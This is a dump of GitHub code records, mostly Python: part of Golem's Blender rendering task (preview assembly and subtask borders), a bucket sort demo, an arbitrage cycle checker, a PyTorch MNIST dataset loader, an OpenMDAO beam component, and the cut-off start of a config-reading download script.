has_ext\r\nfrom golem.docker.task_thread import DockerTaskThread\r\nfrom golem.resource.dirmanager import DirManager\r\nfrom golem.task.taskbase import TaskPurpose, TaskTypeInfo\r\nfrom golem.task.taskstate import SubtaskStatus, TaskStatus\r\nfrom golem.verifier.blender_verifier import BlenderVerifier\r\n\r\nlogger = logging.getLogger(__name__)\r\n\r\n\r\nclass PreviewUpdater(object):\r\n def __init__(self, preview_file_path, preview_res_x, preview_res_y,\r\n expected_offsets):\r\n # pairs of (subtask_number, its_image_filepath)\r\n # careful: chunks' numbers start from 1\r\n self.chunks = {}\r\n self.preview_res_x = preview_res_x\r\n self.preview_res_y = preview_res_y\r\n self.preview_file_path = preview_file_path\r\n self.expected_offsets = expected_offsets\r\n\r\n # where the match ends - since the chunks have unexpectable sizes, we\r\n # don't know where to paste new chunk unless all of the above are in\r\n # their correct places\r\n self.perfect_match_area_y = 0\r\n self.perfectly_placed_subtasks = 0\r\n\r\n def get_offset(self, subtask_number):\r\n return self.expected_offsets.get(subtask_number, self.preview_res_y)\r\n\r\n def update_preview(self, subtask_path, subtask_number):\r\n if subtask_number not in self.chunks:\r\n self.chunks[subtask_number] = subtask_path\r\n\r\n with handle_opencv_image_error(logger) as handler_result:\r\n\r\n subtask_img = OpenCVImgRepr.from_image_file(subtask_path)\r\n\r\n offset = self.get_offset(subtask_number)\r\n if subtask_number == self.perfectly_placed_subtasks + 1:\r\n self.perfect_match_area_y += subtask_img.get_height()\r\n self.perfectly_placed_subtasks += 1\r\n\r\n chunk_height = self._get_height(subtask_number)\r\n\r\n subtask_img_resized = subtask_img.resize(self.preview_res_x,\r\n chunk_height)\r\n\r\n def open_or_create_image():\r\n if not os.path.exists(self.preview_file_path) \\\r\n or len(self.chunks) == 1:\r\n chunk_channels = subtask_img.get_channels()\r\n return OpenCVImgRepr.empty(self.preview_res_x,\r\n self.preview_res_y,\r\n channels=chunk_channels)\r\n return OpenCVImgRepr.from_image_file(self.preview_file_path)\r\n\r\n preview_img = open_or_create_image()\r\n\r\n subtask_img_resized.try_adjust_type(OpenCVImgRepr.IMG_U8)\r\n\r\n preview_img.paste_image(subtask_img_resized, 0, offset)\r\n preview_img.save_with_extension(self.preview_file_path, PREVIEW_EXT)\r\n\r\n if not handler_result.success:\r\n return\r\n\r\n if subtask_number == self.perfectly_placed_subtasks and \\\r\n (subtask_number + 1) in self.chunks:\r\n self.update_preview(self.chunks[subtask_number + 1],\r\n subtask_number + 1)\r\n\r\n def restart(self):\r\n self.chunks = {}\r\n self.perfect_match_area_y = 0\r\n self.perfectly_placed_subtasks = 0\r\n if os.path.exists(self.preview_file_path):\r\n with handle_opencv_image_error(logger):\r\n OpenCVImgRepr.empty(self.preview_res_x, self.preview_res_y) \\\r\n .save_with_extension(self.preview_file_path, PREVIEW_EXT)\r\n\r\n def _get_height(self, subtask_number):\r\n next_offset = \\\r\n self.expected_offsets.get(subtask_number + 1, self.preview_res_y)\r\n return next_offset - self.expected_offsets.get(subtask_number)\r\n\r\n\r\nclass RenderingTaskTypeInfo(CoreTaskTypeInfo):\r\n\r\n @classmethod\r\n def get_preview(cls, task, single=False):\r\n result = None\r\n if not task:\r\n pass\r\n elif task.use_frames:\r\n if single:\r\n return to_unicode(task.last_preview_path)\r\n else:\r\n previews = [to_unicode(p) for p in task.preview_task_file_path]\r\n result = {}\r\n for i, f in enumerate(task.frames):\r\n try:\r\n result[to_unicode(f)] = previews[i]\r\n except IndexError:\r\n result[to_unicode(f)] = None\r\n else:\r\n result = to_unicode(task.preview_task_file_path or\r\n task.preview_file_path)\r\n return cls._preview_result(result, single=single)\r\n\r\n @classmethod\r\n def scale_factor(cls, res_x, res_y):\r\n preview_x = PREVIEW_X\r\n preview_y = PREVIEW_Y\r\n if res_x != 0 and res_y != 0:\r\n if res_x / res_y > preview_x / preview_y:\r\n scale_factor = preview_x / res_x\r\n else:\r\n scale_factor = preview_y / res_y\r\n scale_factor = min(1.0, scale_factor)\r\n else:\r\n scale_factor = 1.0\r\n return scale_factor\r\n\r\n @classmethod\r\n def get_task_border(cls, extra_data: dict, definition, subtasks_count,\r\n as_path=False):\r\n \"\"\" Return list of pixels that should be marked as a border of\r\n a given extra_data\r\n :param RenderingTaskDefinition definition: task definition\r\n :param int subtasks_count: total number of subtasks used in this task\r\n :param int as_path: return pixels that form a border path\r\n :return list: list of pixels that belong to a subtask border\r\n \"\"\"\r\n start_task = extra_data['start_task']\r\n frames = len(definition.options.frames)\r\n res_x, res_y = definition.resolution\r\n\r\n if as_path:\r\n method = cls.__get_border_path\r\n else:\r\n method = cls.__get_border\r\n\r\n if not definition.options.use_frames:\r\n return method(start_task, subtasks_count, res_x, res_y)\r\n elif subtasks_count <= frames:\r\n if not as_path:\r\n return []\r\n scale_factor = cls.scale_factor(res_x, res_y)\r\n x = int(math.floor(res_x * scale_factor))\r\n y = int(math.floor(res_y * scale_factor))\r\n return [(0, y), (x, y),\r\n (x, 0), (0, 0)]\r\n\r\n parts = int(subtasks_count / frames)\r\n return method((start_task - 1) % parts + 1,\r\n parts, res_x, res_y)\r\n\r\n @classmethod\r\n def __get_border(cls, start, parts, res_x, res_y):\r\n \"\"\"\r\n Return list of pixels that should be marked as a border of subtasks\r\n with numbers between start and end.\r\n :param int start: number of first subtask\r\n :param int parts: number of parts for single frame\r\n :param int res_x: image resolution width\r\n :param int res_y: image resolution height\r\n :return list: list of pixels that belong to a subtask border\r\n \"\"\"\r\n border = []\r\n if res_x == 0 or res_y == 0:\r\n return border\r\n offsets = generate_expected_offsets(parts, res_x, res_y)\r\n scale_factor = offsets[parts + 1] / res_y\r\n x = int(math.floor(res_x * scale_factor))\r\n\r\n upper = offsets[start]\r\n lower = offsets[start + 1]\r\n for i in range(upper, lower):\r\n border.append((0, i))\r\n border.append((x, i))\r\n for i in range(0, x):\r\n border.append((i, upper))\r\n border.append((i, lower))\r\n return border\r\n\r\n @classmethod\r\n def __get_border_path(cls, start, parts, res_x, res_y):\r\n \"\"\"\r\n Return list of points that make a border of subtasks with numbers\r\n between start and end.\r\n :param int start: number of first subtask\r\n :param int parts: number of parts for single frame\r\n :param int res_x: image resolution width\r\n :param int res_y: image resolution height\r\n :return list: list of pixels that belong to a subtask border\r\n \"\"\"\r\n if res_x == 0 or res_y == 0:\r\n return []\r\n\r\n offsets = generate_expected_offsets(parts, res_x, res_y)\r\n scale_factor = offsets[parts + 1] / res_y\r\n\r\n x = int(math.floor(res_x * scale_factor))\r\n upper = offsets[start]\r\n lower = max(0, offsets[start + 1] - 1)\r\n\r\n return [(0, upper), (x, upper),\r\n (x, lower), (0, lower)]\r\n\r\n\r\nclass BlenderTaskTypeInfo(RenderingTaskTypeInfo):\r\n \"\"\" Blender App description that can be used by interface to define\r\n parameters and task build\r\n \"\"\"\r\n\r\n def __init__(self):\r\n super(BlenderTaskTypeInfo, self).__init__(\"Blender\",\r\n RenderingTaskDefinition,\r\n BlenderRendererOptions,\r\n BlenderRenderTaskBuilder)\r\n\r\n self.output_formats = [\"PNG\", \"TGA\", \"EXR\", \"JPEG\", \"BMP\"]\r\n self.output_file_ext = [\"blend\"]\r\n\r\n\r\nclass BlenderNVGPUTaskTypeInfo(RenderingTaskTypeInfo):\r\n\r\n def __init__(self):\r\n super().__init__(\"Blender_NVGPU\",\r\n RenderingTaskDefinition,\r\n BlenderNVGPURendererOptions,\r\n BlenderNVGPURenderTaskBuilder)\r\n\r\n self.output_formats = [\"PNG\", \"TGA\", \"EXR\", \"JPEG\", \"BMP\"]\r\n self.output_file_ext = [\"blend\"]\r\n\r\n def for_purpose(self, purpose: TaskPurpose) -> TaskTypeInfo:\r\n # Testing the task shouldn't require a compatible GPU + OS\r\n if purpose == TaskPurpose.TESTING:\r\n return BlenderTaskTypeInfo()\r\n return self\r\n\r\n\r\nclass BlenderRendererOptions(FrameRendererOptions):\r\n\r\n def __init__(self):\r\n super(BlenderRendererOptions, self).__init__()\r\n self.environment = BlenderEnvironment()\r\n self.compositing = False\r\n self.samples = 0\r\n\r\n\r\nclass BlenderNVGPURendererOptions(BlenderRendererOptions):\r\n\r\n def __init__(self):\r\n super().__init__()\r\n self.environment = BlenderNVGPUEnvironment()\r\n\r\n\r\nclass BlenderRenderTask(FrameRenderingTask):\r\n ENVIRONMENT_CLASS: Type[BlenderEnvironment] = BlenderEnvironment\r\n VERIFIER_CLASS = functools.partial(BlenderVerifier,\r\n docker_task_cls=DockerTaskThread)\r\n\r\n BLENDER_MIN_BOX = [8, 8]\r\n BLENDER_MIN_SAMPLE = 5\r\n\r\n ################\r\n # Task methods #\r\n ################\r\n def __init__(self, task_definition, **kwargs):\r\n self.preview_updater = None\r\n self.preview_updaters = None\r\n\r\n super().__init__(task_definition=task_definition, **kwargs)\r\n\r\n # https://github.com/golemfactory/golem/issues/2388\r\n self.compositing = False\r\n self.samples = task_definition.options.samples\r\n\r\n def initialize(self, dir_manager):\r\n super(BlenderRenderTask, self).initialize(dir_manager)\r\n\r\n if self.use_frames:\r\n parts = int(self.get_total_tasks() / len(self.frames))\r\n else:\r\n parts = self.get_total_tasks()\r\n expected_offsets = generate_expected_offsets(parts, self.res_x,\r\n self.res_y)\r\n preview_y = expected_offsets[parts + 1]\r\n if self.res_y != 0 and preview_y != 0:\r\n self.scale_factor = preview_y / self.res_y\r\n preview_x = int(round(self.res_x * self.scale_factor))\r\n\r\n if self.use_frames:\r\n self.preview_file_path = []\r\n self.preview_updaters = []\r\n for i in range(0, len(self.frames)):\r\n preview_name = \"current_task_preview{}.{}\".format(i,\r\n PREVIEW_EXT)\r\n preview_path = os.path.join(self.tmp_dir, preview_name)\r\n self.preview_file_path.append(preview_path)\r\n self.preview_updaters.append(PreviewUpdater(preview_path,\r\n preview_x,\r\n preview_y,\r\n expected_offsets))\r\n else:\r\n preview_name = \"current_preview.{}\".format(PREVIEW_EXT)\r\n self.preview_file_path = \"{}\".format(os.path.join(self.tmp_dir,\r\n preview_name))\r\n self.preview_updater = PreviewUpdater(self.preview_file_path,\r\n preview_x,\r\n preview_y,\r\n expected_offsets)\r\n\r\n # pylint: disable-msg=too-many-locals\r\n def query_extra_data(self, perf_index: float,\r\n node_id: Optional[str] = None,\r\n node_name: Optional[str] = None) \\\r\n -> FrameRenderingTask.ExtraData:\r\n\r\n start_task = self._get_next_task()\r\n scene_file = self._get_scene_file_rel_path()\r\n\r\n if self.use_frames:\r\n frames, parts = self._choose_frames(self.frames, start_task,\r\n self.get_total_tasks())\r\n else:\r\n frames = self.frames or [1]\r\n parts = 1\r\n\r\n min_y, max_y = self.get_subtask_y_border(start_task)\r\n\r\n crops = [\r\n {\"outfilebasename\": \"{}_{}\".format(\r\n self.outfilebasename, start_task),\r\n \"borders_x\": [0.0, 1.0],\r\n \"borders_y\": [min_y, max_y]}\r\n ]\r\n extra_data = {\"scene_file\": scene_file,\r\n \"resolution\": [self.res_x, self.res_y],\r\n \"use_compositing\": self.compositing,\r\n \"samples\": self.samples,\r\n \"frames\": frames,\r\n \"output_format\": self.output_format,\r\n \"path_root\": self.main_scene_dir,\r\n \"start_task\": start_task,\r\n \"total_tasks\": self.get_total_tasks(),\r\n \"crops\": crops,\r\n \"entrypoint\":\r\n \"python3 /golem/entrypoints/render_entrypoint.py\",\r\n }\r\n\r\n subtask_id = self.create_subtask_id()\r\n logger.debug(\r\n 'Created new subtask for task. '\r\n 'task_id=%s, subtask_id=%s, node_id=%s',\r\n self.header.task_id,\r\n subtask_id,\r\n short_node_id(node_id or '')\r\n )\r\n self.subtasks_given[subtask_id] = copy(extra_data)\r\n self.subtasks_given[subtask_id]['subtask_id'] = subtask_id\r\n self.subtasks_given[subtask_id]['status'] = SubtaskStatus.starting\r\n self.subtasks_given[subtask_id]['node_id'] = node_id\r\n self.subtasks_given[subtask_id]['parts'] = parts\r\n self.subtasks_given[subtask_id]['res_x'] = self.res_x\r\n self.subtasks_given[subtask_id]['res_y'] = self.res_y\r\n self.subtasks_given[subtask_id]['samples'] = self.samples\r\n self.subtasks_given[subtask_id]['use_frames'] = self.use_frames\r\n self.subtasks_given[subtask_id]['all_frames'] = self.frames\r\n self.subtasks_given[subtask_id]['crop_window'] = (0.0, 1.0, min_y,\r\n max_y)\r\n self.subtasks_given[subtask_id]['subtask_timeout'] = \\\r\n self.header.subtask_timeout\r\n self.subtasks_given[subtask_id]['tmp_dir'] = self.tmp_dir\r\n # FIXME issue #1955\r\n\r\n part = self._count_part(start_task, parts)\r\n\r\n for frame in frames:\r\n frame_key = to_unicode(frame)\r\n state = self.frames_state[frame_key]\r\n\r\n state.status = TaskStatus.computing\r\n state.started = state.started or time.time()\r\n\r\n self.frames_subtasks[frame_key][part - 1] = subtask_id\r\n\r\n if not self.use_frames:\r\n self._update_task_preview()\r\n else:\r\n self._update_frame_task_preview()\r\n\r\n ctd = self._new_compute_task_def(subtask_id, extra_data,\r\n perf_index=perf_index)\r\n self.subtasks_given[subtask_id]['ctd'] = ctd\r\n return self.ExtraData(ctd=ctd)\r\n\r\n def get_parts_in_frame(self, total_tasks):\r\n if self.use_frames:\r\n if total_tasks <= len(self.frames):\r\n return 1\r\n return max(1, int(total_tasks / len(self.frames)))\r\n return total_tasks\r\n\r\n def get_subtask_y_border(self, start_task):\r\n parts_in_frame = self.get_parts_in_frame(self.get_total_tasks())\r\n if not self.use_frames:\r\n return get_min_max_y(start_task, parts_in_frame, self.res_y)\r\n elif parts_in_frame > 1:\r\n part = self._count_part(start_task, parts_in_frame)\r\n return get_min_max_y(part, parts_in_frame, self.res_y)\r\n\r\n return 0.0, 1.0\r\n\r\n def restart(self):\r\n super(BlenderRenderTask, self).restart()\r\n if self.use_frames:\r\n for preview in self.preview_updaters:\r\n preview.restart()\r\n self._update_frame_task_preview()\r\n else:\r\n self.preview_updater.restart()\r\n self._update_task_preview()\r\n\r\n ###################\r\n # CoreTask methods#\r\n ###################\r\n\r\n def query_extra_data_for_test_task(self):\r\n\r\n scene_file = self._get_scene_file_rel_path()\r\n\r\n crops = [\r\n {\"outfilebasename\": \"testresult_1\",\r\n \"borders_x\": [0.0, 1.0],\r\n \"borders_y\": [0.0, 1.0]}\r\n ]\r\n\r\n extra_data = {\"scene_file\": scene_file,\r\n \"resolution\": BlenderRenderTask.BLENDER_MIN_BOX,\r\n \"use_compositing\": False,\r\n \"samples\": BlenderRenderTask.BLENDER_MIN_SAMPLE,\r\n \"frames\": [1],\r\n \"output_format\": \"PNG\",\r\n \"path_root\": self.main_scene_dir,\r\n \"start_task\": 1,\r\n \"total_tasks\": 1,\r\n \"crops\": crops,\r\n \"entrypoint\":\r\n \"python3 /golem/entrypoints/render_entrypoint.py\",\r\n }\r\n\r\n hash = \"{}\".format(random.getrandbits(128))\r\n\r\n dm = DirManager(self.root_path)\r\n self.test_task_res_path = dm.get_task_test_dir(self.header.task_id)\r\n\r\n logger.debug(self.test_task_res_path)\r\n if not os.path.exists(self.test_task_res_path):\r\n os.makedirs(self.test_task_res_path)\r\n\r\n return self._new_compute_task_def(hash, extra_data, 0)\r\n\r\n def after_test(self, results, tmp_dir):\r\n return_data = dict()\r\n if not results or not results.get(\"data\"):\r\n return return_data\r\n\r\n for filename in results[\"data\"]:\r\n if not has_ext(filename, \".log\"):\r\n continue\r\n\r\n with open(filename, \"r\") as f:\r\n log_content = f.read()\r\n\r\n log_analyser.make_log_analyses(log_content, return_data)\r\n\r\n return return_data\r\n\r\n def _update_preview(self, new_chunk_file_path, num_start):\r\n self.preview_updater.update_preview(new_chunk_file_path, num_start)\r\n\r\n def _update_frame_preview(self, new_chunk_file_path, frame_num, part=1,\r\n final=False):\r\n num = self.frames.index(frame_num)\r\n if final:\r\n with handle_opencv_image_error(logger):\r\n img = OpenCVImgRepr.from_image_file(new_chunk_file_path)\r\n img.resize(int(round(self.res_x * self.scale_factor)),\r\n int(round(self.res_y * self.scale_factor)))\r\n\r\n preview_task_file_path = self._get_preview_task_file_path(num)\r\n self.last_preview_path = preview_task_file_path\r\n\r\n img.try_adjust_type(OpenCVImgRepr.IMG_U8)\r\n\r\n img.save_with_extension(preview_task_file_path, PREVIEW_EXT)\r\n img.save_with_extension(self._get_preview_file_path(num),\r\n PREVIEW_EXT)\r\n else:\r\n self.preview_updaters[num].update_preview(new_chunk_file_path, part)\r\n self._update_frame_task_preview()\r\n\r\n def _put_image_together(self):\r\n output_file_name = \"{}\".format(self.output_file, self.output_format)\r\n logger.debug('_put_image_together() out: %r', output_file_name)\r\n self.collected_file_names = OrderedDict(\r\n sorted(self.collected_file_names.items()))\r\n collector = CustomCollector(width=self.res_x,\r\n height=self.res_y)\r\n for file in self.collected_file_names.values():\r\n collector.add_img_file(file)\r\n with handle_opencv_image_error(logger):\r\n image = collector.finalize()\r\n image.save_with_extension(output_file_name, self.output_format)\r\n\r\n @staticmethod\r\n def mark_part_on_preview(part, img_task, color, preview_updater):\r\n lower = preview_updater.get_offset(part)\r\n upper = preview_updater.get_offset(part + 1)\r\n res_x = preview_updater.preview_res_x\r\n for i in range(0, res_x):\r\n for j in range(lower, upper):\r\n img_task.set_pixel((i, j), color)\r\n\r\n def _mark_task_area(self, subtask, img_task, color, frame_index=0):\r\n if not self.use_frames:\r\n self.mark_part_on_preview(subtask['start_task'], img_task, color,\r\n self.preview_updater)\r\n elif self.get_total_tasks() <= len(self.frames):\r\n for i in range(0, int(math.floor(self.res_x * self.scale_factor))):\r\n for j in range(0,\r\n int(math.floor(self.res_y * self.scale_factor))):\r\n img_task.set_pixel((i, j), color)\r\n else:\r\n parts = int(self.get_total_tasks() / len(self.frames))\r\n pu = self.preview_updaters[frame_index]\r\n part = (subtask['start_task'] - 1) % parts + 1\r\n self.mark_part_on_preview(part, img_task, color, pu)\r\n\r\n def _put_frame_together(self, frame_num, num_start):\r\n directory = os.path.dirname(self.output_file)\r\n output_file_name = os.path.join(directory,\r\n self._get_output_name(frame_num))\r\n frame_key = str(frame_num)\r\n collected = self.frames_given[frame_key]\r\n collected = OrderedDict(sorted(collected.items()))\r\n collector = CustomCollector(width=self.res_x,\r\n height=self.res_y)\r\n for file in collected.values():\r\n collector.add_img_file(file)\r\n with handle_opencv_image_error(logger):\r\n image = collector.finalize()\r\n image.save_with_extension(output_file_name, self.output_format)\r\n self.collected_file_names[frame_num] = output_file_name\r\n self._update_frame_preview(output_file_name, frame_num, final=True)\r\n self._update_frame_task_preview()\r\n\r\n\r\nclass BlenderNVGPURenderTask(BlenderRenderTask):\r\n ENVIRONMENT_CLASS: Type[BlenderEnvironment] = BlenderNVGPUEnvironment\r\n\r\n\r\nclass BlenderRenderTaskBuilder(FrameRenderingTaskBuilder):\r\n \"\"\" Build new Blender tasks using RenderingTaskDefintions and\r\n BlenderRendererOptions as taskdefinition renderer options \"\"\"\r\n TASK_CLASS: Type[BlenderRenderTask] = BlenderRenderTask\r\n\r\n @classmethod\r\n def build_dictionary(cls, definition):\r\n dictionary = super().build_dictionary(definition)\r\n dictionary['options']['compositing'] = definition.options.compositing\r\n dictionary['options']['samples'] = definition.options.samples\r\n return dictionary\r\n\r\n @classmethod\r\n def build_full_definition(cls, task_type, dictionary):\r\n requested_format = dictionary['options']['format']\r\n if requested_format not in task_type.output_formats:\r\n default_format = task_type.output_formats[0]\r\n logger.warning(\r\n \"Unsupported output format: `%s`, \"\r\n \"replacing with default: `%s`\",\r\n requested_format, default_format\r\n )\r\n dictionary['options']['format'] = default_format\r\n\r\n options = dictionary['options']\r\n\r\n definition = super().build_full_definition(task_type, dictionary)\r\n definition.options.compositing = options.get('compositing', False)\r\n definition.options.samples = options.get('samples', 0)\r\n\r\n return definition\r\n\r\n\r\nclass BlenderNVGPURenderTaskBuilder(BlenderRenderTaskBuilder):\r\n TASK_CLASS: Type[BlenderRenderTask] = BlenderNVGPURenderTask\r\n\r\n\r\nclass CustomCollector(RenderingTaskCollector):\r\n def __init__(self, width=1, height=1):\r\n RenderingTaskCollector.__init__(self, width, height)\r\n self.current_offset = 0\r\n\r\n def _paste_image(self, final_img, new_part, num):\r\n img_offset = OpenCVImgRepr.empty(self.width, self.height)\r\n img_offset.paste_image(new_part, 0, self.current_offset)\r\n new_img_res_y = new_part.get_height()\r\n self.current_offset += new_img_res_y\r\n img_offset.add(final_img)\r\n return img_offset\r\n\r\n\r\ndef generate_expected_offsets(parts, res_x, res_y):\r\n logger.debug('generate_expected_offsets(%r, %r, %r)', parts, res_x, res_y)\r\n # returns expected offsets for preview; the highest value is preview's\r\n # height\r\n scale_factor = BlenderTaskTypeInfo.scale_factor(res_x, res_y)\r\n expected_offsets = {}\r\n previous_end = 0\r\n for i in range(1, parts + 1):\r\n low, high = get_min_max_y(i, parts, res_y)\r\n low *= scale_factor * res_y\r\n high *= scale_factor * res_y\r\n height = int(math.floor(high - low))\r\n expected_offsets[i] = previous_end\r\n previous_end += height\r\n\r\n expected_offsets[parts + 1] = previous_end\r\n return expected_offsets\r\n\r\n\r\ndef get_min_max_y(part, parts_in_frame, res_y):\r\n if res_y % parts_in_frame == 0:\r\n min_y = (parts_in_frame - part) * (1.0 / parts_in_frame)\r\n max_y = (parts_in_frame - part + 1) * (1.0 / parts_in_frame)\r\n else:\r\n ceiling_height = int(math.ceil(res_y / parts_in_frame))\r\n ceiling_subtasks = parts_in_frame - \\\r\n (ceiling_height * parts_in_frame - res_y)\r\n if part > ceiling_subtasks:\r\n min_y = (parts_in_frame - part) * (ceiling_height - 1) / res_y\r\n max_y = (parts_in_frame - part + 1) * (ceiling_height - 1) / res_y\r\n else:\r\n min_y = (parts_in_frame - ceiling_subtasks) * (ceiling_height - 1)\r\n min_y += (ceiling_subtasks - part) * ceiling_height\r\n min_y = min_y / res_y\r\n\r\n max_y = (parts_in_frame - ceiling_subtasks) * (ceiling_height - 1)\r\n max_y += (ceiling_subtasks - part + 1) * ceiling_height\r\n max_y = max_y / res_y\r\n return min_y, max_y\r\n","repo_name":"golemfactory/clay","sub_path":"apps/blender/task/blenderrendertask.py","file_name":"blenderrendertask.py","file_ext":"py","file_size_in_byte":27905,"program_lang":"python","lang":"en","doc_type":"code","stars":2915,"dataset":"github-code","pt":"7"} +{"seq_id":"968630564","text":"# _*_ encoding:utf-8 _*_\n\n# 1,桶排序是稳定的\n# 2,桶排序是常见排序里最快的一种,比快排还要快…大多数情况下\n# 3,桶排序非常快,但是同时也非常耗空间,基本上是最耗空间的一种排序算法\n\n\n# 要求全是10以内的数字\nlist = [0, 8, 6, 4, 7, 1, 2, 5, 9, 6, 3, 1, 8, 7, 1, 6, 8, 7, 1, 3, 2, 4]\n\nbucket = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n\nfor i in list:\n bucket[i] += 1\nprint(bucket)\nresult = []\nfor i in range(0, 10):\n while bucket[i] != 0:\n bucket[i] -= 1\n result.append(i)\nprint(result)\n","repo_name":"liukai545/Algorithms-in-Python","sub_path":"algorithm/BucketSort.py","file_name":"BucketSort.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"34589810770","text":"from __future__ import division\nimport numpy as np\nfrom openmdao.api import ExplicitComponent\n\n\nclass MomentOfInertiaComp(ExplicitComponent):\n\n def initialize(self):\n self.options.declare('num_elements', types=int)\n self.options.declare('b')\n\n def setup(self):\n num_elements = self.options['num_elements']\n\n self.add_input('h', shape=num_elements)\n self.add_output('I', shape=num_elements)\n\n rows = np.arange(num_elements)\n cols = np.arange(num_elements)\n self.declare_partials('I', 'h', rows=rows, cols=cols)\n\n def compute(self, inputs, outputs):\n b = self.options['b']\n\n outputs['I'] = 1./12. * b * inputs['h'] ** 3\n\n def compute_partials(self, inputs, partials):\n b = self.options['b']\n\n partials['I', 'h'] = 1./4. * b * inputs['h'] ** 2\n","repo_name":"ardalanghadimi/ATC","sub_path":"openmdao/test_suite/test_examples/beam_optimization/components/moment_comp.py","file_name":"moment_comp.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"74303611742","text":"from node import Node\nimport math\n\nclass CycleChecker:\n\n def __init__(self, graph):\n self.graph = graph\n\n def checkCycles(self, depth, startNode):\n singleCycleMetaData = SingleCycleMetaData(depth, startNode)\n cyclesFound = []\n self.checkCyclesOfDepthInternal(NodeProgress(startNode, depth, []), singleCycleMetaData, cyclesFound)\n return cyclesFound\n\n def checkCyclesOfDepthInternal(self, nodeProgress, singleCycleMetaData, cyclesFound):\n allEdges = self.graph.getEdgesForNode(nodeProgress.nodeToEval)\n\n if nodeProgress.depthRemaining == 1:\n ## Need to get back to original node\n for edge in allEdges:\n if (edge.toNodeId == singleCycleMetaData.startNode.nodeId):\n ## Go home\n nodeProgress = self.createNextNodeProgress(nodeProgress, edge, singleCycleMetaData)\n cyclesFound.append(CycleResult(nodeProgress.pastEdges))\n else:\n edges = [e for e in allEdges if e.toNodeId not in singleCycleMetaData.setOfNodesAlreadyInPath]\n for edge in edges:\n nextNodeProgress = self.createNextNodeProgress(nodeProgress, edge, singleCycleMetaData)\n self.checkCyclesOfDepthInternal(nextNodeProgress, singleCycleMetaData, cyclesFound)\n\n def createNextNodeProgress(self, nodeProgress, edge, singleCycleMetaData):\n toNode = Node(edge.toNodeId)\n singleCycleMetaData.setOfNodesAlreadyInPath.add(edge.toNodeId)\n currentPath = self.extendEdges(edge, nodeProgress)\n return NodeProgress(toNode, nodeProgress.depthRemaining - 1, currentPath)\n\n def extendEdges(self, edge, nodeProgress):\n currentPath = []\n currentPath.extend(nodeProgress.pastEdges)\n currentPath.append(edge)\n return currentPath\n\nclass SingleCycleMetaData:\n\n def __init__(self, depth, startNode):\n self.depth = depth\n self.startNode = startNode\n self.setOfNodesAlreadyInPath = set()\n self.setOfNodesAlreadyInPath.add(startNode.nodeId)\n\nclass NodeProgress:\n\n def __init__(self, nodeToEval, depthRemaining, pastEdges):\n self.nodeToEval = nodeToEval\n self.depthRemaining = depthRemaining\n self.pastEdges = pastEdges\n\nclass CycleResult:\n\n def __init__(self, edgePath):\n self.edgePath = edgePath\n\n def emitExpectedTradeValueWithoutDust(self, unit):\n startUnit = unit\n for edge in self.edgePath:\n startUnit = edge.makeTrade(startUnit)\n return startUnit\n\n def getTradesAndEmitAndDust(self, unit):\n dust = {}\n startUnit = unit\n result = {\n \"dust\": dust,\n \"valid\": True,\n \"endUnits\": startUnit\n }\n for edge in self.edgePath:\n # Look at starting units, see how much can go into new exchange\n tickerInfo = edge.tickerInfo\n stepSize = tickerInfo.stepSize\n # Have to understand which way the exchange goes\n if tickerInfo.buy:\n ## We are in a base currency, going to buy a new one\n unitsInNewCurrency = edge.convertUnits(startUnit)\n if unitsInNewCurrency < stepSize:\n ## Oh no fail, not enough money to make transaction, mark valid as false and return\n result[\"valid\"] = False\n return result\n else:\n # We have enough\n numberOfSteps = math.floor(unitsInNewCurrency / stepSize)\n desiredTradeUnit = numberOfSteps * stepSize\n tradeUnit = edge.convertInvertedUnits(desiredTradeUnit)\n newStartUnit = edge.makeTrade(tradeUnit)\n ## DO DUST PLS\n dustFromTrade = startUnit - tradeUnit\n if dustFromTrade > 0:\n ## Will happen on non-even trades\n dust[edge.fromNodeId] = dustFromTrade\n startUnit = newStartUnit\n\n else:\n if startUnit < stepSize:\n ## Oh no fail, not enough money to make transaction, mark valid as false and return\n result[\"valid\"] = False\n return result\n else:\n ## Ok we have enough, lets see how much we are going to transfer now\n # Take the start and divide by step size\n numberOfSteps = math.floor(startUnit / stepSize)\n # Then take the number of steps and multiple it by step size to get amount to trade\n tradeUnit = numberOfSteps * stepSize\n ## Then make that trade and have a new startUnit\n newStartUnit = edge.makeTrade(tradeUnit)\n ## Before we start over, look at the dust between the 2 values\n dustFromTrade = startUnit - tradeUnit\n if dustFromTrade > 0:\n ## Will happen on non-even trades\n dust[edge.fromNodeId] = dustFromTrade\n startUnit = newStartUnit\n result[\"endUnits\"] = startUnit\n return result\n","repo_name":"k-simons/CA","sub_path":"cycleChecker.py","file_name":"cycleChecker.py","file_ext":"py","file_size_in_byte":5237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"38531491885","text":"import pandas as pd\nimport torch\n\nfrom matplotlib import pyplot as plt\n\nfrom torch.utils.data import Dataset\n\nclass TestMNISTdataset(Dataset):\n def __init__(self, test_data_path):\n self.test_data = pd.read_csv(test_data_path)\n \n \n def __len__(self):\n return len(self.test_data)\n \n \n def __getitem__(self, index):\n sample_image_data = self.test_data.iloc[index][1:785]\n sample_label_data = self.test_data.iloc[index].label\n # converting to tensor and reshape\n sample_image_data = torch.FloatTensor(sample_image_data) / 255.0\n sample_image_data = torch.reshape(sample_image_data, (-1, 28, 28))\n return sample_image_data,sample_label_data\n\n\nif __name__ == '__main__':\n \n \n test_data_path = '/home/noise/Develop/MNIST/Dataset/mnist_test.csv'\n \n dataset = TestMNISTdataset(test_data_path)\n \n image, label = dataset[0]\n \n print(image, label)\n \n \n\n\n","repo_name":"inKaliNoise/mnist-cnn-torch","sub_path":"test_dataset.py","file_name":"test_dataset.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"32138260289","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Sep 13 11:08:25 2018\n\n@author: co-well-752410\n\"\"\"\n\n#-*- coding:utf-8 -*-\n#onlyzs1023@gmail.com 2016/11/21\nimport urllib.request\nfrom urllib.parse import quote\nimport httplib2\nimport json\nimport os\nimport configparser\n\n\n# 外部のコンフィグを読み込む\ninifile = configparser.ConfigParser()\ninifile.read('config.ini')\n\n# 